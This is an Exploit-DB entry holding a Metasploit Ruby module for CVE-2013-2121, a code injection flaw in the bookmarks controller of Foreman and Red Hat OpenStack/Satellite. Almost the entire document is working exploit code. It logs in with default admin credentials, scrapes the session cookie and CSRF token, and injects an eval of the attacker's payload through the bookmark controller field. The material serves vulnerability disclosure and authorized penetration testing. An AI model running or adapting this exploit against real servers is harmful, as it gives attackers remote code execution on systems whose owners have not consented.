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Foreman Red Hat OpenStack/Satellite bookmarks/create Code Injection

2013-07-23T00:00:00
ID EDB-ID:27045
Type exploitdb
Reporter metasploit
Modified 2013-07-23T00:00:00

Description

Foreman (Red Hat OpenStack/Satellite) bookmarks/create Code Injection. CVE-2013-2121. Remote exploit for linux platform

                                        
                                            ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient

  def initialize
    super(
      'Name'           => 'Foreman (Red Hat OpenStack/Satellite) bookmarks/create Code Injection',
      'Description'    => %q{
          This module exploits a code injection vulnerability in the 'create'
        action of 'bookmarks' controller of Foreman and Red Hat OpenStack/Satellite
        (Foreman 1.2.0-RC1 and earlier).
      },
      'Author'         => 'Ramon de C Valle',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2013-2121'],
          ['CWE', '95'],
          ['OSVDB', '94671'],
          ['BID', '60833'],
          ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=968166'],
          ['URL', 'http://projects.theforeman.org/issues/2631']
        ],
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Privileged'     => false,
      'Targets'        =>
        [
          ['Automatic', {}]
        ],
      'DisclosureDate' => 'Jun 6 2013',
      'DefaultOptions' => { 'PrependFork' => true },
      'DefaultTarget' => 0
    )

    register_options(
      [
        Opt::RPORT(443),
        OptBool.new('SSL', [true, 'Use SSL', true]),
        OptString.new('USERNAME', [true, 'Your username', 'admin']),
        OptString.new('PASSWORD', [true, 'Your password', 'changeme']),
        OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
      ], self.class
    )
  end

  def exploit
    print_status("Logging into #{target_url}...")
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'users', 'login'),
      'vars_post' => {
        'login[login]'    => datastore['USERNAME'],
        'login[password]' => datastore['PASSWORD']
      }
    )

    fail_with(Exploit::Failure::Unknown, 'No response from remote host') if res.nil?

    if res.headers['Location'] =~ /users\/login$/
      fail_with(Exploit::Failure::NoAccess, 'Authentication failed')
    else
      session = $1 if res.headers['Set-Cookie'] =~ /_session_id=([0-9a-f]*)/
      fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the current session id') if session.nil?
    end

    print_status('Retrieving the CSRF token for this session...')
    res = send_request_cgi(
      'cookie' => "_session_id=#{session}",
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri)
    )

    fail_with(Exploit::Failure::Unknown, 'No response from remote host') if res.nil?

    if res.headers['Location'] =~ /users\/login$/
      fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the CSRF token')
    else
      csrf_param = $1 if res.body =~ /<meta[ ]+content="(.*)"[ ]+name="csrf-param"[ ]*\/?>/i
      csrf_token = $1 if res.body =~ /<meta[ ]+content="(.*)"[ ]+name="csrf-token"[ ]*\/?>/i

      if csrf_param.nil? || csrf_token.nil?
        csrf_param = $1 if res.body =~ /<meta[ ]+name="csrf-param"[ ]+content="(.*)"[ ]*\/?>/i
        csrf_token = $1 if res.body =~ /<meta[ ]+name="csrf-token"[ ]+content="(.*)"[ ]*\/?>/i
      end

      fail_with(Exploit::Failure::UnexpectedReply, 'Failed to retrieve the CSRF token') if csrf_param.nil? || csrf_token.nil?
    end

    payload_param = Rex::Text.rand_text_alpha_lower(rand(9) + 3)

    print_status("Sending create-bookmark request to #{target_url('bookmarks')}...")
    res = send_request_cgi(
      'cookie'    => "_session_id=#{session}",
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'bookmarks'),
      'vars_post' => {
        csrf_param             => csrf_token,
        payload_param          => payload.encoded,
        'bookmark[controller]' => "eval(params[:#{payload_param}])#",
        'bookmark[name]'       => Rex::Text.rand_text_alpha_lower(rand(9) + 3),
        'bookmark[query]'      => Rex::Text.rand_text_alpha_lower(rand(9) + 3)
      }
    )
  end

  def target_url(*args)
    (ssl ? 'https' : 'http') +
      if rport.to_i == 80 || rport.to_i == 443
        "://#{vhost}"
      else
        "://#{vhost}:#{rport}"
      end + normalize_uri(target_uri.path, *args)
  end
end
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